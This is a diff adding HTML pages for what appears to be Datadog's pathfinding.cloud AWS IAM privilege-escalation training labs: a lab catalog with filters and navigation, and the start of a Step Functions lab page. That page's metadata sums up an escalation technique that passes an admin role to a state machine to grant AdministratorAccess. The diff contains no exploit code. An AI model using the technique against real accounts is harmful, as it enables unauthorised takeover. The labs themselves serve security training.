+                    <a href="/paths/stats/" class="mobile-nav-link mobile-nav-child">Statistics</a>
+                </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Labs</span>
+                    <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
+                    <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
+            </nav>
+        </div>
+    </div>
+
+    <aside class="site-sidebar" id="site-sidebar">
+        <nav class="sidebar-nav">
+            <a href="/" class="sidebar-item" data-tooltip="Home">
+                <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M3 9l9-7 9 7v11a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z"/><polyline points="9 22 9 12 15 12 15 22"/></svg>
+                <span class="sidebar-label">Home</span>
+            </a>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-paths">
+                <button class="sidebar-group-toggle" data-tooltip="Paths">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/></svg>
+                    <span class="sidebar-label">Paths</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/paths/" class="sidebar-item sidebar-child" data-tooltip="Attack Paths">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><circle cx="12" cy="12" r="3"/><line x1="12" y1="2" x2="12" y2="5"/><line x1="12" y1="19" x2="12" y2="22"/><line x1="2" y1="12" x2="5" y2="12"/><line x1="19" y1="12" x2="22" y2="12"/></svg>
+                        <span class="sidebar-label">Attack Paths</span>
+                    </a>
+                    <a href="/paths/stats/" class="sidebar-item sidebar-child" data-tooltip="Statistics">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><line x1="18" y1="20" x2="18" y2="10"/><line x1="12" y1="20" x2="12" y2="4"/><line x1="6" y1="20" x2="6" y2="14"/><line x1="2" y1="20" x2="22" y2="20"/></svg>
+                        <span class="sidebar-label">Statistics</span>
+                    </a>
+                </div>
+            </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-labs">
+                <button class="sidebar-group-toggle" data-tooltip="Labs">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M10 2v7.31l-4.76 9.54A2 2 0 0 0 7 22h10a2 2 0 0 0 1.76-2.95L14 9.31V2"/><line x1="8.5" y1="2" x2="15.5" y2="2"/></svg>
+                    <span class="sidebar-label">Labs</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/labs/" class="sidebar-item sidebar-child" data-tooltip="Labs Catalog">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Labs Catalog</span>
+                    </a>
+                    <a href="/labs/getting-started/" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                </div>
+            </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
+        </nav>
+
+        <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
+            <svg class="sidebar-icon collapse-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="15 18 9 12 15 6"/></svg>
+            <span class="sidebar-label">Collapse</span>
+        </button>
+    </aside>
+
+    <div class="page-body">
+    <style>
+        /* Fix header overflow to allow dropdown to show */
+        header {
+            overflow: visible !important;
+        }
+
+        /* Dropdown menu styles */
+        .nav-dropdown {
+            position: relative;
+            display: flex;
+            align-items: center;
+        }
+
+        .nav-dropdown .dropdown-content {
+            display: none;
+            position: absolute;
+            top: 100%;
+            left: 0;
+            background: var(--card-background);
+            min-width: 180px;
+            box-shadow: 0 8px 16px rgba(0, 0, 0, 0.3);
+            border-radius: 8px;
+            z-index: 9999;
+            border: 2px solid var(--border-color);
+            padding-top: 12px;
+            margin-top: 0;
+        }
+
+        .nav-dropdown .dropdown-content::before {
+            content: '';
+            position: absolute;
+            top: 0;
+            left: 0;
+            right: 0;
+            height: 12px;
+            background: transparent;
+        }
+
+        .nav-dropdown .dropdown-content a {
+            color: var(--text-primary);
+            padding: 8px 16px;
+            text-decoration: none;
+            display: block;
+            transition: all 0.2s;
+            border-radius: 6px;
+            margin: 2px 4px;
+            position: relative;
+        }
+
+        .nav-dropdown .dropdown-content a:first-child {
+            margin-top: 0;
+        }
+
+        .nav-dropdown .dropdown-content a:hover {
+            background: var(--accent-purple);
+            color: white;
+            transform: translateX(4px);
+        }
+
+        .nav-dropdown .dropdown-content a.active {
+            color: var(--accent-color);
+            font-weight: 500;
+        }
+
+        .nav-dropdown .dropdown-content a.active::before {
+            content: '';
+            position: absolute;
+            left: 4px;
+            top: 50%;
+            transform: translateY(-50%);
+            width: 4px;
+            height: 4px;
+            background: var(--accent-color);
+            border-radius: 50%;
+        }
+
+        .nav-dropdown:hover .dropdown-content {
+            display: block;
+        }
+
+        .nav-dropdown:hover > .nav-link {
+            color: var(--accent-color);
+        }
+
+        /* Show white logo in dark mode, purple logo in light mode */
+        .datadog-logo-white {
+            display: block;
+        }
+
+        .datadog-logo-purple {
+            display: none;
+        }
+
+        html.light-theme .datadog-logo-white {
+            display: none;
+        }
+
+        html.light-theme .datadog-logo-purple {
+            display: block !important;
+        }
+    </style>
+
+    <nav class="container">
+        <div class="search-bar-container">
+            <div class="search-bar">
+                <input type="text" id="search" placeholder="Search labs by name, permission, or description...">
+            </div>
+            <div class="paths-count-display">
+                Showing <span id="filtered-labs-count">0</span> of <span id="total-labs-count">0</span> labs
+            </div>
+            <div class="filter-group view-toggle">
+                <label>View:</label>
+                <button id="view-cards" class="view-button active">Cards</button>
+                <button id="view-table" class="view-button">Table</button>
+            </div>
+        </div>
+        <div class="filters">
+            <!-- Category -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-category-filter">
+                <button class="filter-pill" data-filter="category-filter" type="button"><span class="filter-pill-key">Category</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-category-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
+                    <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
+                    <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
+                </div>
+                <select id="category-filter" hidden>
+                    <option value="">All Categories</option>
+                    <option value="Privilege Escalation">Privilege Escalation</option>
+                    <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
+                    <option value="CSPM: Toxic Combination">Toxic Combination</option>
+                </select>
+            </div>
+
+            <!-- Path Type -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-path-type-filter">
+                <button class="filter-pill" data-filter="path-type-filter" type="button"><span class="filter-pill-key">Type</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-path-type-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="self-escalation">Self-Escalation</div>
+                    <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
+                    <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
+                    <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
+                </div>
+                <select id="path-type-filter" hidden>
+                    <option value="">All Types</option>
+                    <option value="self-escalation">Self-Escalation</option>
+                    <option value="one-hop">One-Hop</option>
+                    <option value="multi-hop">Multi-Hop</option>
+                    <option value="cross-account">Cross-Account</option>
+                </select>
+            </div>
+
+            <!-- Cost -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-cost-filter">
+                <button class="filter-pill" data-filter="cost-filter" type="button"><span class="filter-pill-key">Cost</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-cost-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="free">Free</div>
+                    <div class="filter-pill-item" data-value="paid">Paid</div>
+                </div>
+                <select id="cost-filter" hidden>
+                    <option value="">All</option>
+                    <option value="free">Free</option>
+                    <option value="paid">Paid</option>
+                </select>
+            </div>
+
+            <!-- Hops (populated dynamically) -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-hops-filter">
+                <button class="filter-pill" data-filter="hops-filter" type="button"><span class="filter-pill-key">Hops</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-hops-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                </div>
+                <select id="hops-filter" hidden>
+                    <option value="">Any</option>
+                </select>
+            </div>
+
+            <!-- Service (populated dynamically) -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-service-filter">
+                <button class="filter-pill" data-filter="service-filter" type="button"><span class="filter-pill-key">Service</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-service-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                </div>
+                <select id="service-filter" hidden>
+                    <option value="">Any</option>
+                </select>
+            </div>
+
+            <!-- Online Play -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-online-filter">
+                <button class="filter-pill" data-filter="online-filter" type="button"><span class="filter-pill-key">Online Play</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-online-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="yes">Yes</div>
+                    <div class="filter-pill-item" data-value="no">No</div>
+                </div>
+                <select id="online-filter" hidden>
+                    <option value="">Any</option>
+                    <option value="yes">Yes</option>
+                    <option value="no">No</option>
+                </select>
+            </div>
+
+            <!-- Start -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-start-filter">
+                <button class="filter-pill" data-filter="start-filter" type="button"><span class="filter-pill-key">Start</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-start-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="assumed-breach-credentials">Credentials</div>
+                    <div class="filter-pill-item" data-value="assumed-breach-network">Network (assumed)</div>
+                    <div class="filter-pill-item" data-value="public-network">Network (public)</div>
+                </div>
+                <select id="start-filter" hidden>
+                    <option value="">Any</option>
+                    <option value="assumed-breach-credentials">Credentials</option>
+                    <option value="assumed-breach-network">Network (assumed)</option>
+                    <option value="public-network">Network (public)</option>
+                </select>
+            </div>
+
+            <!-- Target -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-target-filter">
+                <button class="filter-pill" data-filter="target-filter" type="button"><span class="filter-pill-key">Target</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-target-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="to-admin">Admin</div>
+                    <div class="filter-pill-item" data-value="to-bucket">Bucket</div>
+                </div>
+                <select id="target-filter" hidden>
+                    <option value="">All Targets</option>
+                    <option value="to-admin">Admin</option>
+                    <option value="to-bucket">Bucket</option>
+                </select>
+            </div>
+
+            <button id="reset-filters" class="filter-reset-btn" type="button">Reset</button>
+        </div>
+    </nav>
+
+    <style>
+        /* ── Getting Started CTA banner ── */
+        .gs-cta-banner {
+            display: none; /* shown by JS only if not dismissed */
+            position: relative;
+            border-radius: 12px;
+            border: 1px solid var(--border-color);
+            overflow: hidden;
+            margin-bottom: 20px;
+            background: var(--card-background);
+            transition: border-color 0.15s;
+        }
+        .gs-cta-banner:hover {
+            border-color: var(--accent-color);
+        }
+        .gs-cta-content-link {
+            display: grid;
+            grid-template-columns: 500px 1fr;
+            text-decoration: none;
+            color: inherit;
+        }
+        .gs-cta-text {
+            padding: 22px 52px 22px 24px; /* right pad leaves room for dismiss btn */
+            display: flex;
+            flex-direction: column;
+            justify-content: center;
+            gap: 5px;
+        }
+        .gs-cta-eyebrow {
+            font-size: 0.88rem;
+            font-weight: 700;
+            text-transform: uppercase;
+            letter-spacing: 0.1em;
+            color: var(--accent-color);
+        }
+        .gs-cta-title {
+            font-size: 1.05rem;
+            font-weight: 700;
+            color: var(--text-primary);
+            line-height: 1.2;
+        }
+        .gs-cta-desc {
+            font-size: 0.85rem;
+            color: var(--text-secondary);
+            line-height: 1.55;
+            max-width: 480px;
+        }
+        .gs-cta-action {
+            margin-top: 4px;
+            font-size: 0.82rem;
+            font-weight: 600;
+            color: var(--accent-color);
+            display: flex;
+            align-items: center;
+            gap: 5px;
+        }
+        .gs-cta-visual {
+            position: relative;
+            overflow: hidden;
+            height: 200px;
+            align-self: start;
+            border-left: 1px solid var(--border-color);
+            transition: border-left-color 0.15s;
+        }
+        .gs-cta-banner:hover .gs-cta-visual {
+            border-left-color: var(--accent-color);
+        }
+        .gs-cta-visual canvas {
+            display: block;
+            width: 100%;
+            height: 100%;
+        }
+        .gs-cta-dismiss {
+            position: absolute;
+            top: 10px;
+            right: 10px;
+            width: 26px;
+            height: 26px;
+            border-radius: 50%;
+            border: 1px solid var(--border-color);
+            background: var(--card-background);
+            color: var(--text-muted);
+            cursor: pointer;
+            display: flex;
+            align-items: center;
+            justify-content: center;
+            font-size: 1rem;
+            line-height: 1;
+            transition: background 0.15s, color 0.15s, border-color 0.15s;
+            z-index: 10;
+        }
+        .gs-cta-dismiss:hover {
+            background: var(--background-elevated);
+            color: var(--text-primary);
+            border-color: var(--text-muted);
+        }
+        @media (max-width: 640px) {
+            .gs-cta-content-link {
+                grid-template-columns: 1fr;
+            }
+            .gs-cta-visual { display: none; }
+        }
+    </style>
+
+    <main class="container">
+        <!-- List View -->
+        <div id="list-view">
+
+            <!-- Getting Started CTA (dismissed via localStorage) -->
+            <div id="gs-cta-banner" class="gs-cta-banner">
+                <a href="/labs/getting-started/" class="gs-cta-content-link">
+                    <div class="gs-cta-text">
+                        <div class="gs-cta-eyebrow">New here?</div>
+                        <div class="gs-cta-desc">The getting started guide covers AWS account prerequisites and setup, plabs binary installation and configuration, and suggests the first six labs — chosen to help you build a working mental model of AWS IAM privilege escalation before you explore the full catalog.</div>
+                        <div class="gs-cta-action">
+                            View the guide
+                            <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><line x1="5" y1="12" x2="19" y2="12"/><polyline points="12 5 19 12 12 19"/></svg>
+                        </div>
+                    </div>
+                    <div class="gs-cta-visual">
+                        <canvas id="gs-cta-canvas" aria-label="Interactive attack path map preview"></canvas>
+                    </div>
+                </a>
+                <button class="gs-cta-dismiss" id="gs-cta-dismiss" aria-label="Dismiss getting started banner">
+                    <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><line x1="18" y1="6" x2="6" y2="18"/><line x1="6" y1="6" x2="18" y2="18"/></svg>
+                </button>
+            </div>
+
+            <div id="labs-container" class="paths-table-container">
+                <div class="loading">Loading lab scenarios...</div>
+            </div>
+        </div>
+
+        <!-- Detail View -->
+        <div id="detail-view" style="display: none;">
+            <div id="detail-content"></div>
+        </div>
+    </main>
+
+    <footer>
+        <div class="container">
+            <div class="footer-content">
+                <div class="footer-section">
+                    <p class="footer-curator">
+                        Created and curated by <a href="https://www.linkedin.com/in/sethart/" target="_blank" rel="noopener noreferrer">Seth Art</a> at <a href="https://securitylabs.datadoghq.com" target="_blank" rel="noopener noreferrer">Datadog</a>
+                    </p>
+                </div>
+                <div class="footer-section footer-links">
+                    <a href="https://github.com/DataDog/pathfinding-labs" target="_blank" rel="noopener noreferrer">pathfinding-labs on GitHub</a>
+                    <span class="footer-separator">&bull;</span>
+                    <a href="https://github.com/DataDog/pathfinding.cloud/issues" target="_blank" rel="noopener noreferrer">Report an Issue</a>
+                </div>
+            </div>
+        </div>
+    </footer>
+
+    <script type="text/javascript" src="https://unpkg.com/vis-network/standalone/umd/vis-network.min.js"></script>
+    <script src="/js/viz-shared.js?v=1"></script>
+    <script src="/js/labs.js?v=5"></script>
+    <script src="/js/map-game.js?v=2"></script>
+    </div><!-- /.page-body -->
+    <script src="/js/sidebar.js?v=1"></script>
+    <script>
+        (function () {
+            const banner = document.getElementById('gs-cta-banner');
+            const dismissBtn = document.getElementById('gs-cta-dismiss');
+            if (!banner || !dismissBtn) return;
+            if (localStorage.getItem('gsCtaDismissed') !== '1') {
+                banner.style.display = 'block';
+            }
+            dismissBtn.addEventListener('click', function (e) {
+                e.preventDefault();
+                e.stopPropagation();
+                localStorage.setItem('gsCtaDismissed', '1');
+                banner.style.display = 'none';
+            });
+        }());
+
+        // Live canvas banner -- "Getting Started" in the game's gold capcom font
+        // on the ocean-gradient background. No islands, no clouds.
+        (function () {
+            const canvas = document.getElementById('gs-cta-canvas');
+            if (!canvas) return;
+            const visual = canvas.closest('.gs-cta-visual');
+            if (!visual) return;
+
+            function renderBanner() {
+                const rect = visual.getBoundingClientRect();
+                const w = Math.round(rect.width);
+                const h = Math.round(rect.height);
+                if (w < 10 || h < 10) return;
+
+                const dpr = window.devicePixelRatio || 1;
+                canvas.width = w * dpr;
+                canvas.height = h * dpr;
+                canvas.style.width = w + 'px';
+                canvas.style.height = h + 'px';
+
+                const ctx = canvas.getContext('2d');
+                ctx.scale(dpr, dpr);
+
+                // Ocean gradient background (same as the game map)
+                const p = getMapPalette();
+                const bg = ctx.createLinearGradient(0, 0, 0, h);
+                bg.addColorStop(0,   p.oceanA);
+                bg.addColorStop(0.6, p.oceanB);
+                bg.addColorStop(1,   p.oceanDeep);
+                ctx.fillStyle = bg;
+                ctx.fillRect(0, 0, w, h);
+
+                // Dark gradient scrim from the top (matches variant-5 game map)
+                const isLight = document.documentElement.classList.contains('light-theme');
+                const scrim = ctx.createLinearGradient(0, 0, 0, h);
+                scrim.addColorStop(0,   isLight ? 'rgba(0,0,0,0.82)' : 'rgba(0,0,0,0.92)');
+                scrim.addColorStop(0.6, isLight ? 'rgba(0,0,0,0.40)' : 'rgba(0,0,0,0.50)');
+                scrim.addColorStop(1,   'rgba(0,0,0,0)');
+                ctx.fillStyle = scrim;
+                ctx.fillRect(0, 0, w, h);
+
+                // Scale the heading so "GETTING STARTED" fills 80% of canvas width.
+                // Measure at the reference LAB_SIZE (26px at scale=1) to get the ratio.
+                const REF_SIZE = 26;
+                ctx.font = `900 ${REF_SIZE}px -apple-system, BlinkMacSystemFont, sans-serif`;
+                ctx.letterSpacing = '0.04em';
+                const refW = ctx.measureText('GETTING STARTED').width;
+                ctx.letterSpacing = 'normal';
+                const scale = Math.max(0.3, (w * 0.60) / refW);
+                drawCapcomHeader(ctx, w, 0, 'Getting Started', {
+                    brandText: 'PATHFINDING LABS',
+                    zoneH: h,
+                    scale: scale,
+                });
+            }
+
+            // Defer first render so the element has a computed layout size.
+            requestAnimationFrame(function () { renderBanner(); });
+
+            new ResizeObserver(function () { renderBanner(); }).observe(visual);
+
+            new MutationObserver(function () { renderBanner(); }).observe(
+                document.documentElement, { attributes: true, attributeFilter: ['class'] }
+            );
+        }());
+    </script>
+</body>
+</html>
diff --git a/docs/labs/stepfunctions-001/index.html b/docs/labs/stepfunctions-001/index.html
new file mode 100644
index 00000000..977370ba
--- /dev/null
+++ b/docs/labs/stepfunctions-001/index.html
@@ -0,0 +1,735 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <title>Step Functions State Machine Execution to Admin - pathfinding.cloud Labs</title>
+    <meta name="description" content="Pass an admin role to a Step Functions state machine that calls IAM APIs via SDK service integration to attach AdministratorAccess to the starting user">
+    <meta name="generator" content="pathfinding-cloud-lab-stub">
+    <!-- Open Graph / Social Sharing -->
+    <meta property="og:type" content="article">
+    <meta property="og:url" content="https://pathfinding.cloud/labs/stepfunctions-001/">
+    <meta property="og:title" content="Step Functions State Machine Execution to Admin - pathfinding.cloud Labs">
+    <meta property="og:description" content="Pass an admin role to a Step Functions state machine that calls IAM APIs via SDK service integration to attach AdministratorAccess to the starting user">
+    <meta property="og:image" content="https://pathfinding.cloud/images/pathfinding-cloud-labs.png">
+    <!-- Twitter Card -->
+    <meta name="twitter:card" content="summary_large_image">
+    <meta name="twitter:title" content="Step Functions State Machine Execution to Admin - pathfinding.cloud Labs">
+    <meta name="twitter:description" content="Pass an admin role to a Step Functions state machine that calls IAM APIs via SDK service integration to attach AdministratorAccess to the starting user">
+    <meta name="twitter:image" content="https://pathfinding.cloud/images/pathfinding-cloud-labs.png">
+    <!-- Favicon -->
+    <link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png">
+    <link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png">
+    <link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png">
+    <script
+        src="https://www.datadoghq-browser-agent.com/us1/v6/datadog-rum.js"
+        type="text/javascript">
+    </script>
+    <script>
+        window.DD_RUM && window.DD_RUM.init({
+        clientToken: 'pub480324ed2fcb73b641a2eccdd88c1d13',
+        applicationId: '61e8d384-68d8-45b7-a969-3187e0e167ff',
+        site: 'datadoghq.com',
+        service: 'pathfinding.cloud',
+        env: 'prod',
+        sessionSampleRate: 100,
+        sessionReplaySampleRate: 100,
+        trackBfcacheViews: true,
+        defaultPrivacyLevel: 'allow',
+        });
+    </script>
+    <!-- Prevent theme flicker by applying theme before render -->
+    <script>
+        (function() {
+            const savedTheme = localStorage.getItem('theme') || 'light';
+            if (savedTheme === 'light') {
+                document.documentElement.classList.add('light-theme');
+            }
+            // Sidebar anti-flicker: apply collapsed class before paint.
+            // Also force-collapse on narrow viewports regardless of saved preference.
+            if (localStorage.getItem('sidebarCollapsed') === 'true' || window.innerWidth < 1600) {
+                document.documentElement.classList.add('sidebar-collapsed');
+            }
+        })();
+    </script>
+    <link rel="stylesheet" href="/css/style.css?v=48">
+    <!-- Google Tag Manager -->
+    <script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
+    new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
+    j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
+    'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);
+    })(window,document,'script','dataLayer','GTM-WDC8G6');</script>
+    <!-- End Google Tag Manager -->
+</head>
+<body>
+    <!-- Google Tag Manager (noscript) -->
+    <noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-WDC8G6"
+    height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
+    <!-- End Google Tag Manager (noscript) -->
+    <header>
+        <div class="header-content">
+            <div class="header-left">
+                <button id="mobile-menu-toggle" class="mobile-menu-toggle" aria-label="Toggle menu">
